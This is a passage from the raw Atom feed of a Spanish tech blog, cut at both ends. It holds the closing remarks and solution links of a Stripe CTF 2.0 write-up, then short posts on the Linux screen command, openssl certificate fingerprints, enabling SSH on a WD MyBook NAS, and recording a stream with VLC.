x-small;&quot;&gt;https://docs.google.com/spreadsheet/ccc?key=0AqPyYgZlFopxdHBYSjJyY1V3dFdUN1hvMVB5cUU0Nnc#gid=0&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;div class=&quot;separator&quot; style=&quot;background-color: white; clear: both; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhdOzjtZZkz0-hAvuJHENc_dLHA827htAjwfm_5hgMdVuupVZYOGS_pQ84XxdX7ZBqv_AKqvxF6o2wVmltKfaoY7mfX96-wUghA3xxCbKMYZDelF-YH2tbPhK-KQR2wo70Q0F6uHjeBFDg/s1600/stripe_ctf20_congratz.jpg&quot; imageanchor=&quot;1&quot; style=&quot;color: #2970a6; margin-left: 1em; margin-right: 1em; text-decoration: none;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;245&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhdOzjtZZkz0-hAvuJHENc_dLHA827htAjwfm_5hgMdVuupVZYOGS_pQ84XxdX7ZBqv_AKqvxF6o2wVmltKfaoY7mfX96-wUghA3xxCbKMYZDelF-YH2tbPhK-KQR2wo70Q0F6uHjeBFDg/s1600/stripe_ctf20_congratz.jpg&quot; style=&quot;border: 0px; padding: 2px;&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;El CTF ha sido divertido, ha excepción del nivel 8 las pruebas eran fáciles de ver qué es lo que teníamos que hacer para conseguir la contraseña. La variedad de lenguajes utilizados(php ruby python) también le ha dado un toque al juego.&lt;/span&gt;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;Para terminar, dar las gracias a Stripe por montar el reto y por la camiseta para los ganadores!&lt;/span&gt;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;Hay bastantes y muy buenas soluciones al CTF, con otras formas de resolverlo:&lt;/span&gt;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;a href=&quot;http://blog.ioactive.com/2012/08/stripe-ctf-20-write-up.html&quot; style=&quot;background-color: white; color: #2970a6; font-family: Arial; font-size: 14px; line-height: 22.390625px; text-decoration: none;&quot; target=&quot;_blank&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;http://blog.ioactive.com/2012/08/stripe-ctf-20-write-up.html&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;a href=&quot;http://blog.spiderlabs.com/2012/08/stripe-ctf-walkthrough.html&quot; style=&quot;background-color: white; color: #2970a6; font-family: Arial; font-size: 14px; line-height: 22.390625px; text-decoration: none;&quot; target=&quot;_blank&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;http://blog.spiderlabs.com/2012/08/stripe-ctf-walkthrough.html&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;a href=&quot;http://abiusx.com/stripe-ctf-2-web-challenges/&quot; style=&quot;background-color: white; color: #2970a6; font-family: Arial; font-size: 14px; line-height: 22.390625px; text-decoration: none;&quot; target=&quot;_blank&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;http://abiusx.com/stripe-ctf-2-web-challenges/&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;a href=&quot;http://blog.ericrafaloff.com/2012/08/24/my-stripe-ctf-play-by-play/&quot; style=&quot;background-color: white; color: #2970a6; font-family: Arial; font-size: 14px; line-height: 22.390625px; text-decoration: none;&quot; target=&quot;_blank&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;http://blog.ericrafaloff.com/2012/08/24/my-stripe-ctf-play-by-play/&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;a href=&quot;http://jasiek.posterous.com/stripe-ctf-20-walkthrough&quot; style=&quot;background-color: white; color: #2970a6; font-family: Arial; font-size: 14px; line-height: 22.390625px; text-decoration: none;&quot; target=&quot;_blank&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;http://jasiek.posterous.com/stripe-ctf-20-walkthrough&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;a href=&quot;http://me.veekun.com/blog/2012/08/29/stripe-ctf-2-dot-0/&quot; style=&quot;background-color: white; color: #2970a6; font-family: Arial; font-size: 14px; line-height: 22.390625px; text-decoration: none;&quot; target=&quot;_blank&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;http://me.veekun.com/blog/2012/08/29/stripe-ctf-2-dot-0/&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;a href=&quot;http://sec.omar.li/2012/08/stripe-ctf-writeup.html&quot; style=&quot;background-color: white; color: #2970a6; font-family: Arial; font-size: 14px; line-height: 22.390625px; text-decoration: none;&quot; target=&quot;_blank&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;http://sec.omar.li/2012/08/stripe-ctf-writeup.html&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;a href=&quot;http://blog.feabhas.com/2012/08/capture-the-flag-2-0-the-after-party/&quot; style=&quot;background-color: white; color: #2970a6; font-family: Arial; font-size: 14px; line-height: 22.390625px; text-decoration: none;&quot; target=&quot;_blank&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;http://blog.feabhas.com/2012/08/capture-the-flag-2-0-the-after-party/&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;a href=&quot;http://blog.ontoillogical.com/blog/2012/08/30/my-solutions-to-the-stripe-ctf-web-app-edition/&quot; style=&quot;background-color: white; color: #2970a6; font-family: Arial; font-size: 14px; line-height: 22.390625px; text-decoration: none;&quot; target=&quot;_blank&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;http://blog.ontoillogical.com/blog/2012/08/30/my-solutions-to-the-stripe-ctf-web-app-edition/&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;a href=&quot;http://my.opera.com/devloop/blog/2012/08/30/ctf-stripe-2012-mes-solutions&quot; style=&quot;background-color: white; color: #2970a6; font-family: Arial; font-size: 14px; line-height: 22.390625px; text-decoration: none;&quot; target=&quot;_blank&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;http://my.opera.com/devloop/blog/2012/08/30/ctf-stripe-2012-mes-solutions&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;a href=&quot;http://blog.matthewdfuller.com/2012/08/stripe-capture-flag-level-by-level.html&quot; style=&quot;background-color: white; color: #2970a6; font-family: Arial; font-size: 14px; line-height: 22.390625px; text-decoration: none;&quot; target=&quot;_blank&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;http://blog.matthewdfuller.com/2012/08/stripe-capture-flag-level-by-level.html&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;a href=&quot;https://github.com/lukegb/Stripe-CTF-2.0/&quot; style=&quot;background-color: white; color: #2970a6; font-family: Arial; font-size: 14px; line-height: 22.390625px; text-decoration: none;&quot; target=&quot;_blank&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;https://github.com/lukegb/Stripe-CTF-2.0/&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;a href=&quot;http://labs.excilys.com/2012/08/29/stripe-capture-the-flag-web-edition/&quot; style=&quot;background-color: white; color: #2970a6; font-family: Arial; font-size: 14px; line-height: 22.390625px; text-decoration: none;&quot; target=&quot;_blank&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;http://labs.excilys.com/2012/08/29/stripe-capture-the-flag-web-edition/&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;a href=&quot;http://unlearningsecurity.blogspot.com.es/2012/09/stripe-capture-flag-web-edition.html&quot; style=&quot;color: #2970a6; text-decoration: none;&quot; target=&quot;_blank&quot;&gt;http://unlearningsecurity.blogspot.com.es/2012/09/stripe-capture-flag-web-edition.html&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;http://unlearningsecurity.blogspot.com.es/2012/09/stripe-capture-flag-web-edition_4.html&quot; style=&quot;color: #2970a6; text-decoration: none;&quot; target=&quot;_blank&quot;&gt;http://unlearningsecurity.blogspot.com.es/2012/09/stripe-capture-flag-web-edition_4.html&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;http://unlearningsecurity.blogspot.com.es/2012/09/stripe-capture-flag-web-edition_5.html&quot; style=&quot;color: #2970a6; text-decoration: none;&quot; target=&quot;_blank&quot;&gt;http://unlearningsecurity.blogspot.com.es/2012/09/stripe-capture-flag-web-edition_5.html&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;Destacar los siguientes enlaces por su forma de resolver el nivel 5 y 6, respectivamente:&lt;/span&gt;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;a href=&quot;http://sec.omar.li/2012/08/stripe-ctf-writeup.html&quot; style=&quot;background-color: white; color: #2970a6; font-family: Arial; font-size: 14px; line-height: 22.390625px; text-decoration: none;&quot; target=&quot;_blank&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;http://sec.omar.li/2012/08/stripe-ctf-writeup.html&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;a href=&quot;http://www.codelord.net/2012/08/30/rack-params-magic-even-got-stripe-ctf-creators/&quot; style=&quot;background-color: white; color: #2970a6; font-family: Arial; font-size: 14px; line-height: 22.390625px; text-decoration: none;&quot; target=&quot;_blank&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;http://www.codelord.net/2012/08/30/rack-params-magic-even-got-stripe-ctf-creators/&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;David Alvarez -&amp;nbsp;&lt;a href=&quot;https://twitter.com/dalvarez_s&quot; style=&quot;color: #2970a6; text-decoration: none;&quot; target=&quot;_blank&quot;&gt;@dalvarez_s&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;</content><link rel='replies' type='application/atom+xml' href='http://urdiendo.blogspot.com/feeds/764480558475066042/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/4353476205966601580/764480558475066042' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4353476205966601580/posts/default/764480558475066042'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4353476205966601580/posts/default/764480558475066042'/><link rel='alternate' type='text/html' href='http://urdiendo.blogspot.com/2013/03/stripe-ctf-2-write-up.html' title='Stripe CTF 2 Write-up'/><author><name>dalvarez_s</name><uri>http://www.blogger.com/profile/15762132693688259268</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiF_bBQ1ALmbKu2i7smsrnDiWrtmZ9O9iKQ2dji2mHWMIR9srGeYEuJkVWLjdbGdEade7GoxjnE4_r50LrM_jcQ0hGYagi3yn14gjPLHdw_lgsZpYNRHPuriwJz597ESu8cggYdgL5fAQU/s72-c/stripe_ctf20.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4353476205966601580.post-7790596192928489742</id><published>2013-01-27T14:02:00.000+01:00</published><updated>2013-01-27T14:02:50.146+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="comandos"/><category scheme="http://www.blogger.com/atom/ns#" term="Linux"/><title type='text'>Screen. Multiples ventanas por terminal en Linux</title><content type='html'>Rápida entrada para plasmar la utilización del comando screen para Linux.&lt;br /&gt;
&lt;br /&gt;
Screen te permite dejar una sesión de un terminal en background. Muy util cuando solo tienes una consola para acceder a un servidor o quieres dejar un proceso ejecutándose y cerrar el terminal actual.&lt;br /&gt;
&lt;br /&gt;
Los comando son:&lt;br /&gt;
&lt;br /&gt;
$&amp;gt; screen &amp;lt;programa&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Una vez dentro, puedes salir de la ventana de screen con ctrl+a+d.&lt;br /&gt;
&lt;br /&gt;
Cuando quieras volver a la ventana:&lt;br /&gt;
$&amp;gt; screen -r</content><link rel='replies' type='application/atom+xml' href='http://urdiendo.blogspot.com/feeds/7790596192928489742/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/4353476205966601580/7790596192928489742' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4353476205966601580/posts/default/7790596192928489742'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4353476205966601580/posts/default/7790596192928489742'/><link rel='alternate' type='text/html' href='http://urdiendo.blogspot.com/2013/01/screen-multiples-ventanas-por-terminal.html' title='Screen. Multiples ventanas por terminal en Linux'/><author><name>dalvarez_s</name><uri>http://www.blogger.com/profile/15762132693688259268</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4353476205966601580.post-6123605942514357677</id><published>2013-01-05T13:49:00.000+01:00</published><updated>2013-01-05T13:49:53.987+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="certificados"/><category scheme="http://www.blogger.com/atom/ns#" term="SSL"/><category scheme="http://www.blogger.com/atom/ns#" term="tips"/><title type='text'>Comprobar huella de certificado ssl</title><content type='html'>&lt;br /&gt;
&lt;b&gt;El escenario&lt;/b&gt;&lt;br /&gt;
Tenemos un servidor con un servicio a través de SSL y tenemos un certificado autofirmado / nuestra propia CA.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;La pregunta&lt;/b&gt;&lt;br /&gt;
¿Cómo comprobamos la huella de un certificado ssl?&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;La respuesta&lt;/b&gt;&lt;br /&gt;
Con openssl y el certificado podemos extraer la huella del certificado SSL y comprobarla manualmente.&lt;br /&gt;
&lt;br /&gt;
$ openssl x509 -sha1 -in apache.crt -fingerprint -noout&lt;br /&gt;
SHA1 Fingerprint=75:1A:1B:1E:18:A0:FB:D6:C3:F3:97:D7:35:EC:00:37:E3:6B:98:DE&lt;br /&gt;
&lt;br /&gt;
$ openssl x509 -sha256 -in apache.crt -fingerprint -noout&lt;br /&gt;
SHA256 Fingerprint=A8:09:13:C3:91:1F:61:F3:BF:9E:E3:0B:0F:3D:1A:01:65:23:A2:98:63:9E:5E:02:8B:72:2C:66:7E:A3:A7:E4&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Necesitaremos saber la huella o tenerla en algún lugar seguro para poder comprobarla.&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;</content><link rel='replies' type='application/atom+xml' href='http://urdiendo.blogspot.com/feeds/6123605942514357677/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/4353476205966601580/6123605942514357677' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4353476205966601580/posts/default/6123605942514357677'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4353476205966601580/posts/default/6123605942514357677'/><link rel='alternate' type='text/html' href='http://urdiendo.blogspot.com/2013/01/comprobar-huella-de-certificado-ssl.html' title='Comprobar huella de certificado ssl'/><author><name>dalvarez_s</name><uri>http://www.blogger.com/profile/15762132693688259268</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4353476205966601580.post-3864340480076814205</id><published>2012-12-27T15:41:00.001+01:00</published><updated>2012-12-27T15:43:44.533+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Hardware"/><title type='text'>WD Mybook edition SSH o cómo hacer el &quot;jailbreak&quot;</title><content type='html'>Breve descripción de cómo activar SSH en WD Mybook edition (white)&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://encrypted-tbn2.gstatic.com/images?q=tbn:ANd9GcSs0XASGb8AHrZ9OhIuvtR5MiQGnl1ejACygeEz4BJrO9PIkT9e&quot; imageanchor=&quot;1&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://encrypted-tbn2.gstatic.com/images?q=tbn:ANd9GcSs0XASGb8AHrZ9OhIuvtR5MiQGnl1ejACygeEz4BJrO9PIkT9e&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;ol&gt;
&lt;li&gt;Desmontar la carcasa&lt;/li&gt;
&lt;li&gt;Contectar el disco duro por SATA a otro PC&lt;/li&gt;
Como solo tengo una entrada, boot con livecd Knoppix
&lt;li&gt;El disco está montando con particiones como un RAID&lt;/li&gt;
&lt;div&gt;
mdadm --assemble /dev/md1 /dev/sda1&lt;br /&gt;
mount /dev/md1 particion&lt;/div&gt;
&lt;li&gt;Acceso al sistema de ficheros&lt;/li&gt;
&lt;li&gt;Descomentar del fichero la entrada relativa a SSH&lt;/li&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;i&gt;
cat /etc/inetd.conf&lt;br /&gt;
netbios-ssn stream tcp nowait root /usr/local/samba/sbin/smbd smbd -s/etc/smb.conf -l/var/log -d0&lt;br /&gt;
#swat stream tcp nowait root /usr/local/samba/sbin/swat swat -a -d 1 -l /var/log&lt;br /&gt;
#tftp &amp;nbsp; &amp;nbsp;dgram &amp;nbsp; udp &amp;nbsp; &amp;nbsp; wait &amp;nbsp; &amp;nbsp;root &amp;nbsp; &amp;nbsp;/usr/sbin/in.tftpd in.tftpd -c -s /tftpboot&lt;br /&gt;&lt;b&gt;
ssh stream tcp nowait root /usr/sbin/sshd sshd -i&lt;/b&gt;&lt;br /&gt;
#telnet &amp;nbsp;stream &amp;nbsp;tcp &amp;nbsp; &amp;nbsp; nowait &amp;nbsp;root &amp;nbsp; &amp;nbsp;/usr/sbin/telnetd &amp;nbsp; &amp;nbsp; &amp;nbsp; telnetd&lt;/i&gt;
&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;li&gt;Desmontar el dispositivo y dejarlo como RAID&lt;/li&gt;
&lt;/div&gt;
&lt;div&gt;
umount particion&lt;/div&gt;
&lt;div&gt;
mdadm --stop /dev/md1&lt;/div&gt;
&lt;/ol&gt;
</content><link rel='replies' type='application/atom+xml' href='http://urdiendo.blogspot.com/feeds/3864340480076814205/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/4353476205966601580/3864340480076814205' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4353476205966601580/posts/default/3864340480076814205'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4353476205966601580/posts/default/3864340480076814205'/><link rel='alternate' type='text/html' href='http://urdiendo.blogspot.com/2012/12/wd-mybook-edition-ssh-o-como-hacer-el.html' title='WD Mybook edition SSH o cómo hacer el &quot;jailbreak&quot;'/><author><name>dalvarez_s</name><uri>http://www.blogger.com/profile/15762132693688259268</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4353476205966601580.post-63443829003346891</id><published>2011-12-27T14:29:00.000+01:00</published><updated>2011-12-27T14:29:51.609+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Curiosidades"/><title type='text'>Como grabar un streaming con VLC</title><content type='html'>&lt;b&gt;Como grabar un streaming con VLC&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;Medio --&amp;gt; Abrir volcado de red&lt;/li&gt;
&lt;li&gt;Elegir Emitir, en el botón a la izquierda de Reproducir&lt;/li&gt;
